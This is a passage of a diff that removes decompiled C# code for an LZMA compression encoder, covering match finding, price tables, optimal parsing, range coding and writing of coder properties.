_numFastBytesPrev = uint.MaxValue; - private long nowPos64; - private bool _finished; - private Stream _inStream; - private Encoder.EMatchFinderType _matchFinderType = Encoder.EMatchFinderType.BT4; - private bool _writeEndMark; - private bool _needReleaseMFStream; - private uint[] reps = new uint[new IntPtr(4)]; - private uint[] repLens = new uint[new IntPtr(4)]; - private byte[] properties = new byte[5]; - private uint[] tempPrices = new uint[new IntPtr(128)]; - private uint _matchPriceCount; - private static string[] kMatchFinderIDs = new string[2] - { - "BT2", - "BT4" - }; - private uint _trainSize; - - static Encoder() - { - int index1 = 2; - Encoder.g_FastPos[0] = (byte) 0; - Encoder.g_FastPos[1] = (byte) 1; - for (byte index2 = 2; index2 < (byte) 22; ++index2) - { - uint num1 = (uint) (1 << ((int) index2 >> 1) - 1); - uint num2 = 0; - while (num2 < num1) - { - Encoder.g_FastPos[index1] = index2; - ++num2; - ++index1; - } - } - } - - private static uint GetPosSlot(uint pos) - { - if (pos < 2048U) - return (uint) Encoder.g_FastPos[(IntPtr) pos]; - return pos < 2097152U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 10)] + 20U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 20)] + 40U; - } - - private static uint GetPosSlot2(uint pos) - { - if (pos < 131072U) - return (uint) Encoder.g_FastPos[(IntPtr) (pos >> 6)] + 12U; - return pos < 134217728U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 16)] + 32U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 26)] + 52U; - } - - private void BaseInit() - { - this._state.Init(); - this._previousByte = (byte) 0; - for (uint index = 0; index < 4U; ++index) - this._repDistances[(IntPtr) index] = 0U; - } - - private void Create() - { - if (this._matchFinder == null) - { - BinTree binTree = new BinTree(); - int numHashBytes = 4; - if (this._matchFinderType == Encoder.EMatchFinderType.BT2) - numHashBytes = 2; - binTree.SetType(numHashBytes); - this._matchFinder = (IMatchFinder) binTree; - } - this._literalEncoder.Create(this._numLiteralPosStateBits, this._numLiteralContextBits); - if ((int) this._dictionarySize == (int) this._dictionarySizePrev && (int) this._numFastBytesPrev == (int) this._numFastBytes) - return; - this._matchFinder.Create(this._dictionarySize, 4096U, this._numFastBytes, 274U); - this._dictionarySizePrev = this._dictionarySize; - this._numFastBytesPrev = this._numFastBytes; - } - - public Encoder() - { - for (int index = 0; index < 4096; ++index) - this._optimum[index] = new Encoder.Optimal(); - for (int index = 0; index < 4; ++index) - this._posSlotEncoder[index] = new BitTreeEncoder(6); - } - - private void SetWriteEndMarkerMode(bool writeEndMarker) => this._writeEndMark = writeEndMarker; - - private void Init() - { - this.BaseInit(); - this._rangeEncoder.Init(); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this._posStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this._isMatch[(IntPtr) index3].Init(); - this._isRep0Long[(IntPtr) index3].Init(); - } - this._isRep[(IntPtr) index1].Init(); - this._isRepG0[(IntPtr) index1].Init(); - this._isRepG1[(IntPtr) index1].Init(); - this._isRepG2[(IntPtr) index1].Init(); - } - this._literalEncoder.Init(); - for (uint index = 0; index < 4U; ++index) - this._posSlotEncoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this._posEncoders[(IntPtr) index].Init(); - this._lenEncoder.Init((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.Init((uint) (1 << this._posStateBits)); - this._posAlignEncoder.Init(); - this._longestMatchWasFound = false; - this._optimumEndIndex = 0U; - this._optimumCurrentIndex = 0U; - this._additionalOffset = 0U; - } - - private void ReadMatchDistances(out uint lenRes, out uint numDistancePairs) - { - lenRes = 0U; - numDistancePairs = this._matchFinder.GetMatches(this._matchDistances); - if (numDistancePairs > 0U) - { - lenRes = this._matchDistances[(IntPtr) (numDistancePairs - 2U)]; - if ((int) lenRes == (int) this._numFastBytes) - lenRes += this._matchFinder.GetMatchLen((int) lenRes - 1, this._matchDistances[(IntPtr) (numDistancePairs - 1U)], 273U - lenRes); - } - ++this._additionalOffset; - } - - private void MovePos(uint num) - { - if (num <= 0U) - return; - this._matchFinder.Skip(num); - this._additionalOffset += num; - } - - private uint GetRepLen1Price(Base.State state, uint posState) => this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice0(); - - private uint GetPureRepPrice(uint repIndex, Base.State state, uint posState) - { - uint pureRepPrice; - if (repIndex == 0U) - { - pureRepPrice = this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice1(); - } - else - { - uint price1 = this._isRepG0[(IntPtr) state.Index].GetPrice1(); - pureRepPrice = repIndex != 1U ? price1 + this._isRepG1[(IntPtr) state.Index].GetPrice1() + this._isRepG2[(IntPtr) state.Index].GetPrice(repIndex - 2U) : price1 + this._isRepG1[(IntPtr) state.Index].GetPrice0(); - } - return pureRepPrice; - } - - private uint GetRepPrice(uint repIndex, uint len, Base.State state, uint posState) => this._repMatchLenEncoder.GetPrice(len - 2U, posState) + this.GetPureRepPrice(repIndex, state, posState); - - private uint GetPosLenPrice(uint pos, uint len, uint posState) - { - uint lenToPosState = Base.GetLenToPosState(len); - return (pos >= 128U ? this._posSlotPrices[(IntPtr) ((lenToPosState << 6) + Encoder.GetPosSlot2(pos))] + this._alignPrices[(IntPtr) (pos & 15U)] : this._distancesPrices[(IntPtr) (lenToPosState * 128U + pos)]) + this._lenEncoder.GetPrice(len - 2U, posState); - } - - private uint Backward(out uint backRes, uint cur) - { - this._optimumEndIndex = cur; - uint posPrev = this._optimum[(IntPtr) cur].PosPrev; - uint backPrev = this._optimum[(IntPtr) cur].BackPrev; - do - { - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - this._optimum[(IntPtr) posPrev].MakeAsChar(); - this._optimum[(IntPtr) posPrev].PosPrev = posPrev - 1U; - if (this._optimum[(IntPtr) cur].Prev2) - { - this._optimum[(IntPtr) (posPrev - 1U)].Prev1IsChar = false; - this._optimum[(IntPtr) (posPrev - 1U)].PosPrev = this._optimum[(IntPtr) cur].PosPrev2; - this._optimum[(IntPtr) (posPrev - 1U)].BackPrev = this._optimum[(IntPtr) cur].BackPrev2; - } - } - uint index = posPrev; - uint num = backPrev; - backPrev = this._optimum[(IntPtr) index].BackPrev; - posPrev = this._optimum[(IntPtr) index].PosPrev; - this._optimum[(IntPtr) index].BackPrev = num; - this._optimum[(IntPtr) index].PosPrev = cur; - cur = index; - } - while (cur > 0U); - backRes = this._optimum[0].BackPrev; - this._optimumCurrentIndex = this._optimum[0].PosPrev; - return this._optimumCurrentIndex; - } - - private uint GetOptimum(uint position, out uint backRes) - { - if ((int) this._optimumEndIndex != (int) this._optimumCurrentIndex) - { - uint optimum = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev - this._optimumCurrentIndex; - backRes = this._optimum[(IntPtr) this._optimumCurrentIndex].BackPrev; - this._optimumCurrentIndex = this._optimum[(IntPtr) this._optimumCurrentIndex].PosPrev; - return optimum; - } - this._optimumCurrentIndex = this._optimumEndIndex = 0U; - uint lenRes1; - uint numDistancePairs; - if (!this._longestMatchWasFound) - { - this.ReadMatchDistances(out lenRes1, out numDistancePairs); - } - else - { - lenRes1 = this._longestMatchLength; - numDistancePairs = this._numDistancePairs; - this._longestMatchWasFound = false; - } - uint num1 = this._matchFinder.GetNumAvailableBytes() + 1U; - if (num1 < 2U) - { - backRes = uint.MaxValue; - return 1; - } - if (num1 > 273U) - ; - uint index1 = 0; - for (uint index2 = 0; index2 < 4U; ++index2) - { - this.reps[(IntPtr) index2] = this._repDistances[(IntPtr) index2]; - this.repLens[(IntPtr) index2] = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) index2], 273U); - if (this.repLens[(IntPtr) index2] > this.repLens[(IntPtr) index1]) - index1 = index2; - } - if (this.repLens[(IntPtr) index1] >= this._numFastBytes) - { - backRes = index1; - uint repLen = this.repLens[(IntPtr) index1]; - this.MovePos(repLen - 1U); - return repLen; - } - if (lenRes1 >= this._numFastBytes) - { - backRes = this._matchDistances[(IntPtr) (numDistancePairs - 1U)] + 4U; - this.MovePos(lenRes1 - 1U); - return lenRes1; - } - byte indexByte1 = this._matchFinder.GetIndexByte(-1); - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - 1); - if (lenRes1 < 2U && (int) indexByte1 != (int) indexByte2 && this.repLens[(IntPtr) index1] < 2U) - { - backRes = uint.MaxValue; - return 1; - } - this._optimum[0].State = this._state; - uint posState1 = position & this._posStateMask; - Encoder.Optimal optimal1 = this._optimum[1]; - int price0 = (int) this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice0(); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder(position, this._previousByte); - int price1 = (int) subCoder.GetPrice(!this._state.IsCharState(), indexByte2, indexByte1); - int num2 = price0 + price1; - optimal1.Price = (uint) num2; - this._optimum[1].MakeAsChar(); - uint price1_1 = this._isMatch[(IntPtr) ((this._state.Index << 4) + posState1)].GetPrice1(); - uint num3 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice1(); - if ((int) indexByte2 == (int) indexByte1) - { - uint num4 = num3 + this.GetRepLen1Price(this._state, posState1); - if (num4 < this._optimum[1].Price) - { - this._optimum[1].Price = num4; - this._optimum[1].MakeAsShortRep(); - } - } - uint num5 = lenRes1 >= this.repLens[(IntPtr) index1] ? lenRes1 : this.repLens[(IntPtr) index1]; - if (num5 < 2U) - { - backRes = this._optimum[1].BackPrev; - return 1; - } - this._optimum[1].PosPrev = 0U; - this._optimum[0].Backs0 = this.reps[0]; - this._optimum[0].Backs1 = this.reps[1]; - this._optimum[0].Backs2 = this.reps[2]; - this._optimum[0].Backs3 = this.reps[3]; - uint num6 = num5; - do - { - this._optimum[(IntPtr) num6--].Price = 268435455U; - } - while (num6 >= 2U); - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint repLen = this.repLens[(IntPtr) repIndex]; - if (repLen >= 2U) - { - uint num7 = num3 + this.GetPureRepPrice(repIndex, this._state, posState1); - do - { - uint num8 = num7 + this._repMatchLenEncoder.GetPrice(repLen - 2U, posState1); - Encoder.Optimal optimal2 = this._optimum[(IntPtr) repLen]; - if (num8 < optimal2.Price) - { - optimal2.Price = num8; - optimal2.PosPrev = 0U; - optimal2.BackPrev = repIndex; - optimal2.Prev1IsChar = false; - } - } - while (--repLen >= 2U); - } - } - uint num9 = price1_1 + this._isRep[(IntPtr) this._state.Index].GetPrice0(); - uint len = this.repLens[0] >= 2U ? this.repLens[0] + 1U : 2U; - if (len <= lenRes1) - { - uint index3 = 0; - while (len > this._matchDistances[(IntPtr) index3]) - index3 += 2U; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index3 + 1U)]; - uint num10 = num9 + this.GetPosLenPrice(matchDistance, len, posState1); - Encoder.Optimal optimal3 = this._optimum[(IntPtr) len]; - if (num10 < optimal3.Price) - { - optimal3.Price = num10; - optimal3.PosPrev = 0U; - optimal3.BackPrev = matchDistance + 4U; - optimal3.Prev1IsChar = false; - } - if ((int) len == (int) this._matchDistances[(IntPtr) index3]) - { - index3 += 2U; - if ((int) index3 == (int) numDistancePairs) - break; - } - ++len; - } - } - uint cur = 0; -label_45: - uint lenRes2; - Base.State state1; - uint posState2; - uint num11; - uint num12; - uint num13; - do - { - byte indexByte3; - byte indexByte4; - uint num14; - bool flag; - uint num15; - uint limit1; - do - { - ++cur; - if ((int) cur == (int) num5) - return this.Backward(out backRes, cur); - this.ReadMatchDistances(out lenRes2, out numDistancePairs); - if (lenRes2 >= this._numFastBytes) - { - this._numDistancePairs = numDistancePairs; - this._longestMatchLength = lenRes2; - this._longestMatchWasFound = true; - return this.Backward(out backRes, cur); - } - ++position; - uint index4 = this._optimum[(IntPtr) cur].PosPrev; - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - --index4; - if (this._optimum[(IntPtr) cur].Prev2) - { - state1 = this._optimum[(IntPtr) this._optimum[(IntPtr) cur].PosPrev2].State; - if (this._optimum[(IntPtr) cur].BackPrev2 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - state1.UpdateChar(); - } - else - state1 = this._optimum[(IntPtr) index4].State; - if ((int) index4 == (int) cur - 1) - { - if (this._optimum[(IntPtr) cur].IsShortRep()) - state1.UpdateShortRep(); - else - state1.UpdateChar(); - } - else - { - uint num16; - if (this._optimum[(IntPtr) cur].Prev1IsChar && this._optimum[(IntPtr) cur].Prev2) - { - index4 = this._optimum[(IntPtr) cur].PosPrev2; - num16 = this._optimum[(IntPtr) cur].BackPrev2; - state1.UpdateRep(); - } - else - { - num16 = this._optimum[(IntPtr) cur].BackPrev; - if (num16 < 4U) - state1.UpdateRep(); - else - state1.UpdateMatch(); - } - Encoder.Optimal optimal4 = this._optimum[(IntPtr) index4]; - if (num16 < 4U) - { - switch (num16) - { - case 0: - this.reps[0] = optimal4.Backs0; - this.reps[1] = optimal4.Backs1; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 1: - this.reps[0] = optimal4.Backs1; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs2; - this.reps[3] = optimal4.Backs3; - break; - case 2: - this.reps[0] = optimal4.Backs2; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs3; - break; - default: - this.reps[0] = optimal4.Backs3; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - break; - } - } - else - { - this.reps[0] = num16 - 4U; - this.reps[1] = optimal4.Backs0; - this.reps[2] = optimal4.Backs1; - this.reps[3] = optimal4.Backs2; - } - } - this._optimum[(IntPtr) cur].State = state1; - this._optimum[(IntPtr) cur].Backs0 = this.reps[0]; - this._optimum[(IntPtr) cur].Backs1 = this.reps[1]; - this._optimum[(IntPtr) cur].Backs2 = this.reps[2]; - this._optimum[(IntPtr) cur].Backs3 = this.reps[3]; - uint price2 = this._optimum[(IntPtr) cur].Price; - indexByte3 = this._matchFinder.GetIndexByte(-1); - indexByte4 = this._matchFinder.GetIndexByte(-(int) this.reps[0] - 1 - 1); - posState2 = position & this._posStateMask; - int num17 = (int) price2 + (int) this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position, this._matchFinder.GetIndexByte(-2)); - int price3 = (int) subCoder.GetPrice(!state1.IsCharState(), indexByte4, indexByte3); - num14 = (uint) (num17 + price3); - Encoder.Optimal optimal5 = this._optimum[(IntPtr) (cur + 1U)]; - flag = false; - if (num14 < optimal5.Price) - { - optimal5.Price = num14; - optimal5.PosPrev = cur; - optimal5.MakeAsChar(); - flag = true; - } - num11 = price2 + this._isMatch[(IntPtr) ((state1.Index << 4) + posState2)].GetPrice1(); - num15 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice1(); - if ((int) indexByte4 == (int) indexByte3 && (optimal5.PosPrev >= cur || optimal5.BackPrev != 0U)) - { - uint num18 = num15 + this.GetRepLen1Price(state1, posState2); - if (num18 <= optimal5.Price) - { - optimal5.Price = num18; - optimal5.PosPrev = cur; - optimal5.MakeAsShortRep(); - flag = true; - } - } - uint val2 = this._matchFinder.GetNumAvailableBytes() + 1U; - num12 = Math.Min(4095U - cur, val2); - limit1 = num12; - } - while (limit1 < 2U); - if (limit1 > this._numFastBytes) - limit1 = this._numFastBytes; - if (!flag && (int) indexByte4 != (int) indexByte3) - { - uint matchLen = this._matchFinder.GetMatchLen(0, this.reps[0], Math.Min(num12 - 1U, this._numFastBytes)); - if (matchLen >= 2U) - { - Base.State state2 = state1; - state2.UpdateChar(); - uint posState3 = position + 1U & this._posStateMask; - uint num19 = num14 + this._isMatch[(IntPtr) ((state2.Index << 4) + posState3)].GetPrice1() + this._isRep[(IntPtr) state2.Index].GetPrice1(); - uint index5 = cur + 1U + matchLen; - while (num5 < index5) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num20 = num19 + this.GetRepPrice(0U, matchLen, state2, posState3); - Encoder.Optimal optimal6 = this._optimum[(IntPtr) index5]; - if (num20 < optimal6.Price) - { - optimal6.Price = num20; - optimal6.PosPrev = cur + 1U; - optimal6.BackPrev = 0U; - optimal6.Prev1IsChar = true; - optimal6.Prev2 = false; - } - } - } - num13 = 2U; - for (uint repIndex = 0; repIndex < 4U; ++repIndex) - { - uint matchLen1 = this._matchFinder.GetMatchLen(-1, this.reps[(IntPtr) repIndex], limit1); - if (matchLen1 >= 2U) - { - uint num21 = matchLen1; - do - { - while (num5 < cur + matchLen1) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num22 = num15 + this.GetRepPrice(repIndex, matchLen1, state1, posState2); - Encoder.Optimal optimal7 = this._optimum[(IntPtr) (cur + matchLen1)]; - if (num22 < optimal7.Price) - { - optimal7.Price = num22; - optimal7.PosPrev = cur; - optimal7.BackPrev = repIndex; - optimal7.Prev1IsChar = false; - } - } - while (--matchLen1 >= 2U); - uint num23 = num21; - if (repIndex == 0U) - num13 = num23 + 1U; - if (num23 < num12) - { - uint limit2 = Math.Min(num12 - 1U - num23, this._numFastBytes); - uint matchLen2 = this._matchFinder.GetMatchLen((int) num23, this.reps[(IntPtr) repIndex], limit2); - if (matchLen2 >= 2U) - { - Base.State state3 = state1; - state3.UpdateRep(); - uint num24 = position + num23 & this._posStateMask; - int num25 = (int) num15 + (int) this.GetRepPrice(repIndex, num23, state1, posState2) + (int) this._isMatch[(IntPtr) ((state3.Index << 4) + num24)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num23, this._matchFinder.GetIndexByte((int) num23 - 1 - 1)); - int price4 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num23 - 1 - ((int) this.reps[(IntPtr) repIndex] + 1)), this._matchFinder.GetIndexByte((int) num23 - 1)); - uint num26 = (uint) (num25 + price4); - state3.UpdateChar(); - uint posState4 = (uint) ((int) position + (int) num23 + 1) & this._posStateMask; - uint num27 = num26 + this._isMatch[(IntPtr) ((state3.Index << 4) + posState4)].GetPrice1() + this._isRep[(IntPtr) state3.Index].GetPrice1(); - uint num28 = num23 + 1U + matchLen2; - while (num5 < cur + num28) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num29 = num27 + this.GetRepPrice(0U, matchLen2, state3, posState4); - Encoder.Optimal optimal8 = this._optimum[(IntPtr) (cur + num28)]; - if (num29 < optimal8.Price) - { - optimal8.Price = num29; - optimal8.PosPrev = (uint) ((int) cur + (int) num23 + 1); - optimal8.BackPrev = 0U; - optimal8.Prev1IsChar = true; - optimal8.Prev2 = true; - optimal8.PosPrev2 = cur; - optimal8.BackPrev2 = repIndex; - } - } - } - } - } - if (lenRes2 > limit1) - { - lenRes2 = limit1; - uint index6 = 0; - while (lenRes2 > this._matchDistances[(IntPtr) index6]) - index6 += 2U; - this._matchDistances[(IntPtr) index6] = lenRes2; - numDistancePairs = index6 + 2U; - } - } - while (lenRes2 < num13); - uint num30 = num11 + this._isRep[(IntPtr) state1.Index].GetPrice0(); - while (num5 < cur + lenRes2) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint index7 = 0; - while (num13 > this._matchDistances[(IntPtr) index7]) - index7 += 2U; - uint num31 = num13; - while (true) - { - uint matchDistance = this._matchDistances[(IntPtr) (index7 + 1U)]; - uint num32 = num30 + this.GetPosLenPrice(matchDistance, num31, posState2); - Encoder.Optimal optimal9 = this._optimum[(IntPtr) (cur + num31)]; - if (num32 < optimal9.Price) - { - optimal9.Price = num32; - optimal9.PosPrev = cur; - optimal9.BackPrev = matchDistance + 4U; - optimal9.Prev1IsChar = false; - } - if ((int) num31 == (int) this._matchDistances[(IntPtr) index7]) - { - if (num31 < num12) - { - uint limit = Math.Min(num12 - 1U - num31, this._numFastBytes); - uint matchLen = this._matchFinder.GetMatchLen((int) num31, matchDistance, limit); - if (matchLen >= 2U) - { - Base.State state4 = state1; - state4.UpdateMatch(); - uint num33 = position + num31 & this._posStateMask; - int num34 = (int) num32 + (int) this._isMatch[(IntPtr) ((state4.Index << 4) + num33)].GetPrice0(); - subCoder = this._literalEncoder.GetSubCoder(position + num31, this._matchFinder.GetIndexByte((int) num31 - 1 - 1)); - int price5 = (int) subCoder.GetPrice(true, this._matchFinder.GetIndexByte((int) num31 - ((int) matchDistance + 1) - 1), this._matchFinder.GetIndexByte((int) num31 - 1)); - uint num35 = (uint) (num34 + price5); - state4.UpdateChar(); - uint posState5 = (uint) ((int) position + (int) num31 + 1) & this._posStateMask; - uint num36 = num35 + this._isMatch[(IntPtr) ((state4.Index << 4) + posState5)].GetPrice1() + this._isRep[(IntPtr) state4.Index].GetPrice1(); - uint num37 = num31 + 1U + matchLen; - while (num5 < cur + num37) - this._optimum[(IntPtr) ++num5].Price = 268435455U; - uint num38 = num36 + this.GetRepPrice(0U, matchLen, state4, posState5); - Encoder.Optimal optimal10 = this._optimum[(IntPtr) (cur + num37)]; - if (num38 < optimal10.Price) - { - optimal10.Price = num38; - optimal10.PosPrev = (uint) ((int) cur + (int) num31 + 1); - optimal10.BackPrev = 0U; - optimal10.Prev1IsChar = true; - optimal10.Prev2 = true; - optimal10.PosPrev2 = cur; - optimal10.BackPrev2 = matchDistance + 4U; - } - } - } - index7 += 2U; - if ((int) index7 == (int) numDistancePairs) - goto label_45; - } - ++num31; - } - } - - private bool ChangePair(uint smallDist, uint bigDist) => smallDist < 33554432U && bigDist >= smallDist << 7; - - private void WriteEndMarker(uint posState) - { - if (!this._writeEndMark) - return; - this._isMatch[(IntPtr) ((this._state.Index << 4) + posState)].Encode(this._rangeEncoder, 1U); - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - uint len = 2; - this._lenEncoder.Encode(this._rangeEncoder, len - 2U, posState); - uint symbol = 63; - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(len)].Encode(this._rangeEncoder, symbol); - int num1 = 30; - uint num2 = (uint) ((1 << num1) - 1); - this._rangeEncoder.EncodeDirectBits(num2 >> 4, num1 - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, num2 & 15U); - } - - private void Flush(uint nowPos) - { - this.ReleaseMFStream(); - this.WriteEndMarker(nowPos & this._posStateMask); - this._rangeEncoder.FlushData(); - this._rangeEncoder.FlushStream(); - } - - public void CodeOneBlock(out long inSize, out long outSize, out bool finished) - { - inSize = 0L; - outSize = 0L; - finished = true; - if (this._inStream != null) - { - this._matchFinder.SetStream(this._inStream); - this._matchFinder.Init(); - this._needReleaseMFStream = true; - this._inStream = (Stream) null; - if (this._trainSize > 0U) - this._matchFinder.Skip(this._trainSize); - } - if (this._finished) - return; - this._finished = true; - long nowPos64 = this.nowPos64; - if (this.nowPos64 == 0L) - { - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - this.ReadMatchDistances(out uint _, out uint _); - this._isMatch[(IntPtr) ((this._state.Index << 4) + ((uint) this.nowPos64 & this._posStateMask))].Encode(this._rangeEncoder, 0U); - this._state.UpdateChar(); - byte indexByte = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte).Encode(this._rangeEncoder, indexByte); - this._previousByte = indexByte; - --this._additionalOffset; - ++this.nowPos64; - } - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - } - else - { - do - { - do - { - uint backRes; - uint optimum = this.GetOptimum((uint) this.nowPos64, out backRes); - uint posState = (uint) this.nowPos64 & this._posStateMask; - uint index1 = (this._state.Index << 4) + posState; - if (optimum == 1U && backRes == uint.MaxValue) - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - byte indexByte1 = this._matchFinder.GetIndexByte(-(int) this._additionalOffset); - Encoder.LiteralEncoder.Encoder2 subCoder = this._literalEncoder.GetSubCoder((uint) this.nowPos64, this._previousByte); - if (!this._state.IsCharState()) - { - byte indexByte2 = this._matchFinder.GetIndexByte(-(int) this._repDistances[0] - 1 - (int) this._additionalOffset); - subCoder.EncodeMatched(this._rangeEncoder, indexByte2, indexByte1); - } - else - subCoder.Encode(this._rangeEncoder, indexByte1); - this._previousByte = indexByte1; - this._state.UpdateChar(); - } - else - { - this._isMatch[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - if (backRes < 4U) - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 0U) - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - if (optimum == 1U) - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 0U); - else - this._isRep0Long[(IntPtr) index1].Encode(this._rangeEncoder, 1U); - } - else - { - this._isRepG0[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - if (backRes == 1U) - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - } - else - { - this._isRepG1[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 1U); - this._isRepG2[(IntPtr) this._state.Index].Encode(this._rangeEncoder, backRes - 2U); - } - } - if (optimum == 1U) - { - this._state.UpdateShortRep(); - } - else - { - this._repMatchLenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - this._state.UpdateRep(); - } - uint repDistance = this._repDistances[(IntPtr) backRes]; - if (backRes != 0U) - { - for (uint index2 = backRes; index2 >= 1U; --index2) - this._repDistances[(IntPtr) index2] = this._repDistances[(IntPtr) (index2 - 1U)]; - this._repDistances[0] = repDistance; - } - } - else - { - this._isRep[(IntPtr) this._state.Index].Encode(this._rangeEncoder, 0U); - this._state.UpdateMatch(); - this._lenEncoder.Encode(this._rangeEncoder, optimum - 2U, posState); - backRes -= 4U; - uint posSlot = Encoder.GetPosSlot(backRes); - this._posSlotEncoder[(IntPtr) Base.GetLenToPosState(optimum)].Encode(this._rangeEncoder, posSlot); - if (posSlot >= 4U) - { - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - uint symbol = backRes - num; - if (posSlot < 14U) - { - BitTreeEncoder.ReverseEncode(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), this._rangeEncoder, NumBitLevels, symbol); - } - else - { - this._rangeEncoder.EncodeDirectBits(symbol >> 4, NumBitLevels - 4); - this._posAlignEncoder.ReverseEncode(this._rangeEncoder, symbol & 15U); - ++this._alignPriceCount; - } - } - uint num1 = backRes; - for (uint index3 = 3; index3 >= 1U; --index3) - this._repDistances[(IntPtr) index3] = this._repDistances[(IntPtr) (index3 - 1U)]; - this._repDistances[0] = num1; - ++this._matchPriceCount; - } - this._previousByte = this._matchFinder.GetIndexByte((int) optimum - 1 - (int) this._additionalOffset); - } - this._additionalOffset -= optimum; - this.nowPos64 += (long) optimum; - } - while (this._additionalOffset != 0U); - if (this._matchPriceCount >= 128U) - this.FillDistancesPrices(); - if (this._alignPriceCount >= 16U) - this.FillAlignPrices(); - inSize = this.nowPos64; - outSize = this._rangeEncoder.GetProcessedSizeAdd(); - if (this._matchFinder.GetNumAvailableBytes() == 0U) - { - this.Flush((uint) this.nowPos64); - return; - } - } - while (this.nowPos64 - nowPos64 < 4096L); - this._finished = false; - finished = false; - } - } - - private void ReleaseMFStream() - { - if (this._matchFinder == null || !this._needReleaseMFStream) - return; - this._matchFinder.ReleaseStream(); - this._needReleaseMFStream = false; - } - - private void SetOutStream(Stream outStream) => this._rangeEncoder.SetStream(outStream); - - private void ReleaseOutStream() => this._rangeEncoder.ReleaseStream(); - - private void ReleaseStreams() - { - this.ReleaseMFStream(); - this.ReleaseOutStream(); - } - - private void SetStreams(Stream inStream, Stream outStream, long inSize, long outSize) - { - this._inStream = inStream; - this._finished = false; - this.Create(); - this.SetOutStream(outStream); - this.Init(); - this.FillDistancesPrices(); - this.FillAlignPrices(); - this._lenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._lenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.SetTableSize((uint) ((int) this._numFastBytes + 1 - 2)); - this._repMatchLenEncoder.UpdateTables((uint) (1 << this._posStateBits)); - this.nowPos64 = 0L; - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this._needReleaseMFStream = false; - try - { - this.SetStreams(inStream, outStream, inSize, outSize); - while (true) - { - long inSize1; - long outSize1; - do - { - bool finished; - this.CodeOneBlock(out inSize1, out outSize1, out finished); - if (finished) - goto label_3; - } - while (progress == null); - progress.SetProgress(inSize1, outSize1); - } -label_3:; - } - finally - { - this.ReleaseStreams(); - } - } - - public void WriteCoderProperties(Stream outStream) - { - this.properties[0] = (byte) ((this._posStateBits * 5 + this._numLiteralPosStateBits) * 9 + this._numLiteralContextBits); - for (int index = 0; index < 4; ++index) - this.properties[1 + index] = (byte) (this._dictionarySize >> 8 * index & (uint) byte.MaxValue); - outStream.Write(this.properties, 0, 5); - } - - private void FillDistancesPrices() - { - for (uint pos = 4; pos < 128U; ++pos) - { - uint posSlot = Encoder.GetPosSlot(pos); - int NumBitLevels = (int) (posSlot >> 1) - 1; - uint num = (uint) ((2 | (int) posSlot & 1) << NumBitLevels); - this.tempPrices[(IntPtr) pos] = BitTreeEncoder.ReverseGetPrice(this._posEncoders, (uint) ((int) num - (int) posSlot - 1), NumBitLevels, pos - num); - } - for (uint index1 = 0; index1 < 4U; ++index1) - { - BitTreeEncoder 